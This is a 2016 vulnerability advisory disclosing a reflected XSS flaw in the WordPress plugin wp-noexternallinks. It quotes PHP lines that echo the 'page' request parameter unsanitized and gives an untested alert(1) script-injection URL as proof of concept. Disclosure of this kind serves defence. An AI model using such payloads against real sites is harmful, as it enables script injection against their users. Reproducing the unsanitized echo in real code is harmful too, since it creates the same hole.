Advisory #: 824
Title: Reflected XSS in wordpress plugin wp-noexternallinks v3.5.15
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-noexternallinks
Downloads: 268949
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-noexternallinks
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-noexternallinks/wp-noexternallinks-options.php: 90: <a href="?page=<?php echo $_REQUEST['page']; ?>" 93: <a href="?page=<?php echo $_REQUEST['page']; ?>&action=stats" 108: <input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>"> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-noexternallinks/wp-noexternallinks-options.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-noexternallinks/wp-noexternallinks-options.php?page="><script>alert(1);</script><"